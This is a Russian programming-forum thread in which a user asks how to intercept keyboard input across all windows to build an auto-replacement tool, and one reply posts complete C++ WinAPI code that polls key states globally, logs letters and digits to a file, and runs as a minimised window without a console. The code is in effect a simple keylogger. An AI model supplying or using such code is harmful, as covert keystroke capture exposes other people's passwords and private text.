Форум программистов, компьютерный форум CyberForum.ru
Наши страницы

С++ для начинающих

Войти
Регистрация
Восстановить пароль
 
metaluga145
243 / 244 / 20
Регистрация: 08.04.2013
Сообщений: 927
#1

Как сделать правильный перехват ввода? - C++

05.02.2014, 02:20. Просмотров 495. Ответов 5
Метки нет (Все метки)

Доброго времени суток. Решил поделать еще что-то интересное. Вот есть идейка сделать что-то типа одной из функций, которые есть в puntoswitcher: в нем можно создать список слов, которые будут автоматически заменены сразу после ввода. Вопрос: как сделать правильный перехват ввода? что именно перехватывать? как это вообще реализовано?
Спасибо!
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
05.02.2014, 02:20
Здравствуйте! Я подобрал для вас темы с ответами на вопрос Как сделать правильный перехват ввода? (C++):

Как сделать правильный else - C++
else в самом конце если место 1 2 3 0 введено другое число дает ошибку (так и надо), но если введена буква то дает полный бред, как это...

Пятнашки - Как сделать перехват нажатий клавиш в консоли - C++
Собственно есть реализация игры "Пятнашки" wasd и 4862 - управление (оно организовано через передвижение пустой фишки). Пока надо...

Как хитро сделать перехват функций в dll и чтоб с лого - C++
Короче проблема такова, есть dll, а в dll как известно много функций всяких, так вот, что если сделать свою промежуточную функцию которой...

Перехват потоков ввода/вывода - C++
Проблема в следующем: Имеется консольное приложение, например такое: //1.exe #include <iostream> using namespace std; int main() ...

как сделать без ввода Массива! - C++
Нужна помощь и чтоб без ввода массива!! Вводится последовательность из N вещественных чисел. Определить является ли последовательность...

Как можно сделать виртуальный поток ввода / вывода? - C++
есть программа, которая считает кол-во слов в строке причудливым способом, конечно можно сделать другим способом, но есть желание узнать,...

5
programina
1914 / 599 / 37
Регистрация: 23.10.2011
Сообщений: 4,468
Записей в блоге: 2
05.02.2014, 14:49 #2
Например написано слово "превет", а в программе хранится слово "привет", тогда программа сравнивает два слова и выдает правильное слово.
0
metaluga145
243 / 244 / 20
Регистрация: 08.04.2013
Сообщений: 927
09.02.2014, 23:45  [ТС] #3
programina, да это я так понимаю. где и как ловить вводимое слово? ведь это слово может быть введено в любом окне
0
Bretbas
Каждому свое
300 / 99 / 27
Регистрация: 05.08.2013
Сообщений: 1,151
Завершенные тесты: 1
10.02.2014, 01:10 #4
ловим сообщение винды о нажатие клавиши,и просматриваем окно где есть фокус ввода...winapi погляди
0
metaluga145
243 / 244 / 20
Регистрация: 08.04.2013
Сообщений: 927
10.02.2014, 01:35  [ТС] #5
Bretbas, то есть предлагается ловить нажатие каждой клавиши, запихивать значения в массив, а потом при нажатии другой клавиши, к примеру, пробела, сравнивать и заменять? как-то нерационально звучит.
0
programina
1914 / 599 / 37
Регистрация: 23.10.2011
Сообщений: 4,468
Записей в блоге: 2
10.02.2014, 01:36 #6
Вот, например можно ловить клавиши со всего подряд:
C++
/*
    Компиляция с помощью MinGW:
    g++ program.cpp -O3 -Os -s -oprogram -mwindows
*/
 
 
#include <windows.h>
#include <stdio.h>
 
#define key(n); if(GetAsyncKeyState(n))fprintf(fo,"%c",n);
 
LRESULT CALLBACK WINPROC(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch(message)
    {
        case WM_CLOSE:
            PostQuitMessage(0);
            break;
 
        case WM_DESTROY:
            PostQuitMessage(0);
            break;
    }
    return DefWindowProc (hWnd, message, wParam, lParam);
}
 
int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nCmdShow)
{
 
    HINSTANCE hinstance = GetModuleHandle(NULL);
    int scr_width           = GetSystemMetrics(SM_CXSCREEN);
    int scr_height          = GetSystemMetrics(SM_CYSCREEN);
 
    WNDCLASSEX wincl;
    wincl.hInstance     = hinstance;
    wincl.lpszClassName = "app";
    wincl.lpfnWndProc   = WINPROC;
    wincl.style         = CS_DBLCLKS;
    wincl.cbSize        = sizeof (WNDCLASSEX);
    wincl.hIcon         = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hIconSm       = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hCursor       = LoadCursor (NULL, IDC_ARROW);
    wincl.lpszMenuName  = NULL;
    wincl.cbClsExtra    = 0;
    wincl.cbWndExtra    = 0;
    wincl.hbrBackground = (HBRUSH)1;
    RegisterClassEx(&wincl);
 
    HWND hwnd = CreateWindow("app", " ", WS_OVERLAPPEDWINDOW, scr_width-200, scr_height-200, 195, 160, HWND_DESKTOP, NULL, hinstance, NULL);
    ShowWindow (hwnd, SW_MINIMIZE);
 
 
    FILE *fo = fopen("fo.txt", "wt");
 
    MSG msg;
    while(WM_QUIT != msg.message)
    {
        if(PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
        else
        {
            if(GetAsyncKeyState(VK_ESCAPE)) break;
 
            for(char i = 0x41; i <= 0x5A; i++)
                if(GetAsyncKeyState(i)) fprintf(fo, "%c", i);
 
            key(' ');
            key('1');
            key('2');
            key('3');
            key('4');
            key('5');
            key('6');
            key('7');
            key('8');
            key('9');
            key('0');
 
            Sleep(300);
        }
    }
 
    fclose(fo);
    return 0;
}
0
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
10.02.2014, 01:36
Привет! Вот еще темы с ответами:

Как сделать, чтобы формат ввода массива с клавиатуры был : a[1] a[2] a[3] ? - C++
как сделать что бы ввода формат ввода массива с клавиатуры был? : a a a ?

Как сделать выход из программы при условии нажатия двойного ввода - C++
Люди добрые помогите ни как не могу сообразить как сделать выход из программы при условии что пользователь нажал два раза ввод (Enter)....

Как сделать отступы или , чтобы входной поток(ввода) отдельно от вывода - C++
#include &lt;iostream&gt; #define MAX_N 100 using namespace std; class Stack { int st_size=0; int st_elements; ...

Как через "IF" сделать чтобы программа закрывалась после ввода неверного значения - C++
Как через &quot;If&quot; Зделать что бы когда ты вводишь не верное значение выполнялося else и консоль закрывалася а не переходило к следующему...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
6
Yandex
Объявления
10.02.2014, 01:36
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru